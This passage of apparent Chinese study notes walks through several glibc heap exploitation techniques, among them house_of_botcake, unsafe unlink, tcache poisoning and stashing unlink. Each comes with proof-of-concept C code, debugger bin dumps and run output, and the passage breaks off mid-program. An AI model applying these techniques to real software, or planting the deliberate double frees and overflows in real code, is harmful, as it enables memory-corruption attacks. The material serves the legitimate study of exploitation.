Let's just print the contents of our array on the stack now,
to show that it hasn't been modified yet.

0x7fffffffdc60: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc68: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc70: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc78: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc80: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc88: 0xcdcdcdcdcdcdcdcd

The next allocation triggers the stack to be overwritten. The tcache
is empty, but the fastbin isn't, so the next allocation comes from the
fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.
Those 7 chunks are copied in reverse order into the tcache, so the stack
address that we are targeting ends up being the first chunk in the tcache.
It contains a pointer to the next chunk in the list, which is why a heap
pointer is written to the stack.

Earlier we said that the attack will also work if we free fewer than 6
extra pointers to the fastbin, but only if the value on the stack is zero.
That's because the value on the stack is treated as a next pointer in the
linked list and it will trigger a crash if it isn't a valid pointer or null.

The contents of our array on the stack now look like this:

0x7fffffffdc60: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc68: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc70: 0x55555555b490
0x7fffffffdc78: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc80: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc88: 0xcdcdcdcdcdcdcdcd

Finally, if we malloc one more time then we get the stack address back: 0x7fffffffdc70

house_of_botcake(double free)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */

// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");

// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);

// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);

// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);

puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);

puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/

// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;

// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);

// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");

// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

return 0;
}

此攻击手法适用于仅有double free漏洞。

我们在栈上创建一个变量,此变量做为最后malloc的地址。创建七个堆块,prev堆块,a堆块。最后再分配一个0x10为了防止与top_chunk合并。

现在利用七个堆块将对应的tcache填满,并将a先放入unsortedbin,再将prev放入unsorted bin。这样可以使得prev和a进行合并。

为了将a放入tcache bins中,所以我们需要先将tcachebins -1,再free掉a,现在a不仅仅在tcache bins中还在unsortedbin中。形成了一个堆块重叠

申请一个比prev要大的size,这样申请会从unsorted bin中取,取到a。

利用0x131这个堆块将a的fd改成stack_var,这样子的话tcache bins也会被改掉

申请两次chunk就可以申请到stack_var这个目标地址了。

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
This file demonstrates a powerful tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this demo, the stack).
This attack only relies on double free.

The address we want malloc() to return, namely,
the target address is 0x7fffffffdce0.

Preparing heap layout
Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.
Allocating a chunk for later consolidation
Allocating the victim chunk.
malloc(0x100): a=0x55555555bae0.
Allocating a padding to prevent consolidation.

Now we are able to cause chunk overlapping
Step 1: fill up tcache list
Step 2: free the victim chunk so it will be added to unsorted bin
Step 3: free the previous chunk and make it consolidate with the victim chunk.
Step 4: add the victim chunk to tcache list by taking one out from it and free victim again

Launch tcache poisoning
Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk
We simply overwrite victim's fwd pointer
Now we can cash out the target chunk.
The new chunk is at 0x7fffffffdce0
Got control on target/stack!

Note:
And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim
In that case, once you have done this exploitation, you can have many arbitary writes very easily.

unsafe_unlink(unlink)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 18.04.4 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);

// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

创建两个释放可以直接进unsortedbin大小的chunk。接着在chunk0_ptr里伪造chunk,为什么需要伪造chunk?看下面的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

我们最后想要达到的结果就是FD->bk = BK; BK->fd = FD; 那我们肯定需要绕过前面的if判断,FD->bk != P || BK->fd != P。所以我们需要伪造chunk使得p->fd->bk = p&&p->bk->fd=p

如上图,可以绕过那个if。接下来假设chunk0有个漏洞,可以改chunk1的数据。将chunk1的prev_size改成0x420,将chunk1的inuse位改成0,然后释放chunk1,就会有一个unlink操作。这个时候chunk0就已经被改成了8050这里了chunk0_ptr[3] = (uint64_t) victim_string这个修改的就是粉色框的数据。

因为又将chunk0的地址改成了dc80这里,所以下一次填充数据的时候就会填到dc80。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 18.04.4 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

The global chunk0_ptr is at 0x555555558068, pointing to 0x55555555b260
The victim chunk we are going to corrupt is at 0x55555555b690

We create a fake chunk inside chunk0.
We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x555555558050
Fake chunk bk: 0x555555558058

We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x420
We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA��UUUU

tcache_poisoning(打fd)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}

这个攻击手法就是打fd达到任意地址申请。

首先创建两个0x80的堆块,然后都释放掉,改fd为目标地址,再申请两次就可以申请到目标地址。这个很简单就不多说了。

tcache_house_of_spirit(在栈上伪造chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

printf("Ok. Let's start with the example!.\n\n");


printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);

printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size


printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");
free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);

assert((long)b == (long)&fake_chunks[2]);
}

这个手法核心就是在栈上伪造chunk,然后申请过去。

在栈上创建了一个数组变量,并设置对应chunk该有的东西。并将指针指向伪造的data那里(从tcache这里开始,指向的是data不是head)

然后将这个指针释放,这个数组也会进tcache bins中。这个时候malloc就申请到数组这个地方。手法还是挺简单的不详细写了

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
This file demonstrates the house of spirit attack on tcache.
It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.
You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.
(Search for strings "invalid next size" and "double free or corruption")

Ok. Let's start with the example!.

Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7fffffffdcd8
This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffdcd8.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffdcd8, which will be 0x7fffffffdce0!
malloc(0x30): 0x7fffffffdce0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

此攻击方式适用于2.27和2.29。首先申请了三个变量,stack_var,chunk_lis,target。将stack_var[2]的地址给了stack_var[3],接着malloc9个0x90大小的chunk并存入chunk_lis中。接下来将3-9放入tcache中,然后释放1, 0, 2。如下图可以看到1作为最后一个tcache bin。而0和2被放入了unsortedbin。

现在申请一个0xa0大小的size,因为unsortedbin的分配机制,在unsortedbin中没有符合的size大小那么0和2会放入smallbin中。

1
2
smallbins
0xa0: 0x55555555b390 —▸ 0x55555555b250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x55555555b390

现在申请两个0x90大小的size,因为tcachebins中符合条件所以这两个chunk会从tcache bin中取,此时tcachebin中还有五个。

1
2
tcachebins
0xa0 [ 5]: 0x55555555b6c0 —▸ 0x55555555b620 —▸ 0x55555555b580 —▸ 0x55555555b4e0 —▸ 0x55555555b440 ◂— 0x0

假如现在有一个漏洞可以将2的bk->stack_var。这个时候stack_var默认是一个被放入smallbin中的chunk

1
2
3
4
smallbins
0xa0 [corrupted]
FD: 0x55555555b390 —▸ 0x55555555b250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x55555555b390
BK: 0x55555555b250 —▸ 0x55555555b390 —▸ 0x7fffffffdbc0 —▸ 0x7fffffffdbd0 ◂— 0x0

calloc不会从tcache中取bin。利用这个特性我们利用calloc申请0x90大小的chunk,因为small bin满足条件,所以会将small bin中的2给取出来,又因为tcache中还有2个位置,stack_var和0会被放入tcache中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bin
tcachebins
0xa0 [ 7]: 0x7fffffffdbd0 —▸ 0x55555555b3a0 —▸ 0x55555555b6c0 —▸ 0x55555555b620 —▸ 0x55555555b580 —▸ 0x55555555b4e0 —▸ 0x55555555b440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0 [corrupted]
FD: 0x55555555b390 —▸ 0x55555555b6c0 ◂— 0x0
BK: 0x7fffffffdbd0 ◂— 0x0

现在申请0x90大小的chunk就会从tcache中取了,达到目标。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
This file demonstrates the stashing unlink attack on tcache.

This poc has been tested on both glibc 2.27 and glibc 2.29.

This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc

The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.

This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.

Stack_var emulates the fake chunk we want to alloc to.

First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.

You can see the value of fake_chunk->bk is:0x7fffffffdcb0

Also, let's see the initial value of stack_var[4]:(nil)

Now we alloc 9 chunks with malloc.

Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.

As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.

Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.

Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins

Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: 0x7fffffffdca0.

Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.

Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: 0x55555555b3a0 and the bck->fd has been changed into a libc addr: 0x7ffff7dcfd30

As you can see, next malloc(0x90) will return the region our fake chunk: 0x7fffffffdcb0

fastbin_dup_consolidate(double free)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

void* p1 = calloc(1,0x40);

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");

assert(p1 == p3);

printf("Triggering the double free vulnerability!\n\n");
free(p1);

void *p4 = malloc(0x400);

assert(p4 == p3);

printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

这个就是用的consolidate的特性和2.23下的相似。第一步填满tcache,然后利用calloc p1申请一个0x40(不会从tcache中取),free掉p1,此时p1进入fastbin中。

1
2
3
4
5
6
7
tcachebins
0x50 [ 7]: 0x55555555b850 —▸ 0x55555555b800 —▸ 0x55555555b7b0 —▸ 0x55555555b760 —▸ 0x55555555b710 —▸ 0x55555555b6c0 —▸ 0x55555555b670 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55555555b890 ◂— 0x0

malloc 一个大于smallbin大小的chunk,此时会发生堆合并,p1和p3被合并了。

1
2
3
Allocated chunk | PREV_INUSE
Addr: 0x55555555b890
Size: 0x411

释放p1,因为此时p1的inuse位还是为1可以被释放,tcache bin中出现了0x411并申请0x400大小的chunk(p4),此时p4=p3

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
This is a powerful technique that bypasses the double free check in tcachebin.
Fill up the tcache list to force the fastbin usage...
Allocate another chunk of the same size p1=0x55555555b8a0
Freeing p1 will add this chunk to the fastbin list...

Allocating a tcache-sized chunk (p3=0x55555555b8a0)
will trigger the malloc_consolidate and merge
the fastbin chunks into the top chunk, thus
p1 and p3 are now pointing to the same chunk !

Triggering the double free vulnerability!

The double free added the chunk referenced by p1
to the tcache thus the next similar-size malloc will
point to p3: p3=0x55555555b8a0, p4=0x55555555b8a0

overlapping_chunks(off-by-one)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
setbuf(stdout, NULL);


intptr_t *p1,*p2,*p3,*p4;

printf("\nThis is a simple chunks overlapping problem\n\n");
printf("Let's start to allocate 3 chunks on the heap\n");

p1 = malloc(0x500 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);

printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x500 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);

printf("\nNow let's free the chunk p2\n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
printf("For a toy program, the value of the last 3 bits is unimportant;"
" however, it is best to maintain the stability of the heap.\n");
printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
" to assure that p1 is not mistaken for a free chunk.\n");

int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

/* VULNERABILITY */
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
/* VULNERABILITY */

printf("\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
